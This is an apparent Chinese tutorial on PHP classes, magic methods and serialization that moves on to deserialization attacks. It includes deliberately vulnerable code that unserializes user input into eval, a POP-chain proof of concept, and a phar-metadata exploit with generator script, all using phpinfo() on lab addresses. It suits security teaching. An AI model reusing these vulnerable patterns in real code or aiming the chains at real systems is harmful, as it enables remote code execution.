本文最后更新于 2024-06-09,文章内容可能已经过时。

一、面向对象

1、类:

类:具有相同属性和行为的事物。

对象: 类的实例化个体。

2、访问修饰符

属性:
	public
	protected
	private
方法:
    public
    protected
    private
    
private只能在类中使用
protected修饰的可以在本类和子类中使用
private不能被继承。

3、静态方法

1.通过static关键字定义的方法:在该方法中,不能使用$this;
2.静态方法随类一起被加载:所以静态方法可以被类名或者对象调用;
3.静态方法中不能调用实例方法。

4、类的结构

class 类名{
	访问修饰符 ;  //属性
	访问修饰符 function 方法名(形参列表){     //方法
		方法体;
	}
}

5、代码:

<?php
class Animal{

    public $height="170";
    protected $weight="140";//protected 只能在类内部,或者子类中访问
    private $mck="hello woniu";//只能在类的内部访问


    public function setMck($s){
        $this->mck=$s;
    }   
    public function getMck(){
        return $this->mck;
    }   

    public function talk(){
        echo "animal talk ".$this->mck." <br>";
    }

    protected function sing(){//protected 只能在类内部,或者子类中访问
        echo "animal sing <br>";
    }

    private function eat(){//只能在类的内部访问
        echo "animal eat <br>";
    }

    //static修饰的静态方法只能使用类名来调用
    public static function play(){
        echo "animal play <br>";
    }

}

class Dog extends Animal{
    //重写父类的方法
    public function sing(){
        $this->weight="150";
        // $this->height="180";
        echo "dog sing ".$this->weight.",".$this->height." <br>";
    }
}

$animal = new Animal;
echo $animal->height;
// echo $animal->weight;
// echo $animal->mck;
$animal->talk();
$animal->setMck("你好,woniu ");
echo $animal->getMck();
// $animal->sing();
// $animal->eat();
Animal::play();//通过类名直接访问静态方法

echo "=================";
$dog = new Dog;
$dog->sing();

?>

二、魔术方法

方法 描述
__construct( ) 新对象被创建时候调用
__destruct() 对象被销毁时候调用
__call() 在对象中调用一个不可访问方法时,__call()会被调用。
__callStatic() 在静态上下文中调用一个不可访问方法时,__callStatic() 会被调用。
__get() 读取不可访问(protected 或 private)或不存在的属性的值时会被调用
__set() 在给不可访问(protected 或 private)或不存在的属性赋值时会被调用
__isset() 当对不可访问(protected 或 private)或不存在的属性调用 isset()或 empty() 时,__isset() 会被调用。
__unset() 当对不可访问(protected 或 private)或不存在的属性调用 unset()时,__unset() 会被调用。
__sleep() 执行序列化操作时候先执行这个方法
__wakeup() 执行反序列化操作时候先执行这个方法
__toString() 当一个类被当成字符串使用的时候会调用
__invoke() 当尝试以调用函数的方式调用一个对象时这个方法会调用
__clone() 当复制完成时,如果定义了__clone() 方法,则新创建的对象(复制生成的对象)中的 __clone() 方法会被调用,可用于修改属性的值(如果有必要的话)。

三、序列化和反序列化

<?php


class Magic{

    public $age  = 10;
    protected $name = "zhangsan";
    private $sex = "Female";

    public function setAge($a){
        $this->age=$a;
    }
    public function getAge(){
        return $this->age;
    }

    //构造方法,在对象被创建的时候自动调用
    public function __construct()
    {
        echo "__construct <br>";
        
    }
    //析构方法,对象被销毁前自动调用
    public function __destruct()
    {
        echo "__destruct <br>";
    }

    //当调用这个类中不存在的方法的时候,这个方法会自动被调用
    public function __call($name, $arguments)
    {
        echo "__call<br>";
    }
    //当调用这个类中不存在的方法的时候,这个方法会自动被调用
    public static function __callStatic($name, $arguments)
    {
        echo "__callStatic<br>";
    }

    //当获取的属性在类里面没有定义,后者无权访问会自动调用这个方法
    public function __get($name)
    {
        echo "__get<br>";
    }
    //当属性在类里面没有定义但是要给这种属性赋值,后者无权访问会自动调用这个方法
    public function __set($name, $value)
    {
        echo "__set<br>";
    }
    //当对某个不存在的属性调用isset的时候,这个方法被自动调用
    public function __isset($name)
    {
        echo "__isset<br>";
    }
    //当对某个不存在的属性调用unset的时候,这个方法被自动调用
    public function __unset($name)
    {
        echo "__unset<br>";
    }


    //这个方法是当对象被序列化的时候调用
    public function __sleep()
    {
        echo "__sleep<br>";
        return array("age","name","sex");
    }
   //这个方法是当对象被反序列化的时候调用
    public function __wakeup()
    {
        echo "__wakeup<br>";
    }
}

$m = new Magic();
$m->a();//方法a不存在,会自动调用 __call
Magic::a();//方法a不存在,会自动调用 __callStatic
$m->a; //属性a不存在,自动调用__get
$m->a=100;//属性a不存在,自动调用__set
isset($m->a);//属性a不存在,自动调用__isset
unset($m->a);//属性f不存在,自动调用__unset
echo "<br>========================-";
$s = urlencode(serialize($m));
echo $s;
echo "<br>------反序列化之后----";
$m1 = unserialize(urldecode($s));
echo $m1->getAge();
echo "<br>";
$m1->setAge(20);
echo $m1->getAge();
?>

通过网络传输对象例子:

服务器1上的代码:

<?php

class Magic{

    public $age  = 10;
    protected $name = "zhangsan";
    private $sex = "Female";


    public function setAge($a){
        $this->age=$a;
    }
    public function getAge(){
        return $this->age;
    }

    //构造方法,在对象被创建的时候自动调用
    public function __construct()
    {
        echo "__construct <br>";
        
    }
    //析构方法,对象被销毁前自动调用
    public function __destruct()
    {
        echo "__destruct <br>";
    }

    //当调用这个类中不存在的方法的时候,这个方法会自动被调用
    public function __call($name, $arguments)
    {
        echo "__call<br>";
    }
    //当调用这个类中不存在的方法的时候,这个方法会自动被调用
    public static function __callStatic($name, $arguments)
    {
        echo "__callStatic<br>";
    }

    //当获取的属性在类里面没有定义,后者无权访问会自动调用这个方法
    public function __get($name)
    {
        echo "__get<br>";
    }
    //当属性在类里面没有定义但是要给这种属性赋值,后者无权访问会自动调用这个方法
    public function __set($name, $value)
    {
        echo "__set<br>";
    }
    //当对某个不存在的属性调用isset的时候,这个方法被自动调用
    public function __isset($name)
    {
        echo "__isset<br>";
    }
    //当对某个不存在的属性调用unset的时候,这个方法被自动调用
    public function __unset($name)
    {
        echo "__unset<br>";
    }


    //这个方法是当对象被序列化的时候调用
    public function __sleep()
    {
        echo "__sleep<br>";
        return array("age","name","sex");
    }
   //这个方法是当对象被反序列化的时候调用
    public function __wakeup()
    {
        echo "__wakeup<br>";
    }
}


/////发http请求给另一台服务器,把序列化后的对象字符串传给远程服务器
$m = new Magic();
$s = urlencode(serialize($m));

echo "<br>";
$cu = curl_init();    
$arr[CURLOPT_URL]="http://192.168.153.128/oop/oop.php";
$arr[CURLOPT_HEADER]=0;//不输出响应头
$arr[CURLOPT_RETURNTRANSFER]=1;//设置接受返回值
$arr[CURLOPT_POST]=1;//请求方式
$arr[CURLOPT_POSTFIELDS]=$s;//请求参数

curl_setopt_array($cu,$arr);

echo curl_exec($cu);
curl_close($cu);

?>

远程服务器上的代码:

<?php


class Magic{

    public $age  = 10;
    protected $name = "zhangsan";
    private $sex = "Female";


    public function setAge($a){
        $this->age=$a;
    }
    public function getAge(){
        return $this->age;
    }

}

$s = file_get_contents("php://input");//可以拿到post请求传输的body部分的全部内容
echo $s;
echo "<br>------反序列化之后----";

$m1 = unserialize(urldecode($s));

echo $m1->getAge();
echo "<br>";
$m1->setAge(20);
echo $m1->getAge();

?>

反序列化漏洞利用前提

1、对象必须以序列化后的字符串形式在页面之间传递,说白了就是要让用户可以用可控的输入点。
2、在类定义中,在以上的魔术方法中,能够在反序列化时候被调用到的魔术方法中存在一些危险函数,例如eval。

四、调用链

POP即:面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链做一些工作了。

一般的序列化攻击都在PHP魔术方法中出现可利用的漏洞,因为自动调用触发漏洞,但如果关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。

我们在寻找深层次调用链时,使用终点向上查找的方法,或是开始点查找的方法。来找到反序列化漏洞

使用以下代码,实现任意命令的调用。

<?php

class Tiger{
    public $string;
    protected $var;
    public function __toString(){
        return $this->string;
    }
    public function boss($value){
        @eval($value);
    }
    public function __invoke(){
        $this->boss($this->var);
    }
}
class Lion{
    public $tail;
    public function __construct(){
        $this->tail = array();
    }
    public function __get($value){
        $function = $this->tail;
        return $function();
    }
}
class Monkey{
    public $head;
    public $hand;
    public function __construct($here="Zoo"){
        $this->head = $here;
        echo "Welcome to ".$this->head."<br>";
    }
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->head)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
class Elephant{
    public $nose;
    public $nice;
    public function __construct($nice="nice"){
        $this->nice = $nice;
        echo $nice;
    }
    public function __toString(){
        return $this->nice->nose;
    }
}
if(isset($_GET['zoo'])){
    @unserialize($_GET['zoo']);
}
else{
    $a = new Monkey;
    echo "Hello PHP!";
}

?>

构造POC的代码

<?php


class Tiger{
    public $string;
    protected $var="phpinfo();";
}
class Lion{
    public $tail;
    public function __construct(){
        $this->tail = new Tiger;
    }
}
class Elephant{
    public $nose;
    public $nice;
    public function __construct(){
        $this->nice = new Lion;
    }
}

class Monkey{
    public $head;
    public $hand;
    public function __construct(){
        $this->head = new Elephant;
    }
}

$monkey = new Monkey;
$s = urlencode(serialize($monkey));
echo $s;

?>

五、phar反序列化漏洞

1、条件:生成phar压缩文件。

1.php.ini文件中,phar.readonly=Off
2.存放phar压缩文件的目录必须有写权限。

2、phar文件结构

1.stub: <?php __HALT_COMPILER();?>   PHAR文件声明
2.metadata: 元数据,声明数据的数据。用来支持如指示存储位置、历史数据、资源查找、文件记录等功能。
3.content: 被压缩的文件
4.signature: 签名

1、stub
stub的基本结构:<?php __HALT_COMPILER();?>前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。
2、meta-data
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这里即为反序列化漏洞点。
3、content
被压缩文件的内容。
4、signature
签名,放在文件末尾。

3、构造访问phar的代码,文件命名为phar.php:

<?php
class Vul{
	public $data;
	function __destruct(){
        @eval($this->data);
    }
}
$filename = 'phar://test.phar/test.txt';
file_exists($filename);
?>

生成压缩文件test.phar的代码,文件名为createphar.php

注意:createphar.php当前目录需要有写权限

<?php
class Vul{
	public $data="phpinfo();";
}

@unlink("test.phar");//删除已有的文件
$phar=new Phar("test.phar");   
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$v = new Vul;
$phar->setMetaData($v);
$phar->addFromString("test.txt","test");
$phar->stopBuffering();

?>

触发漏洞

访问http://192.168.150.128/phar.php

image-20240325213402277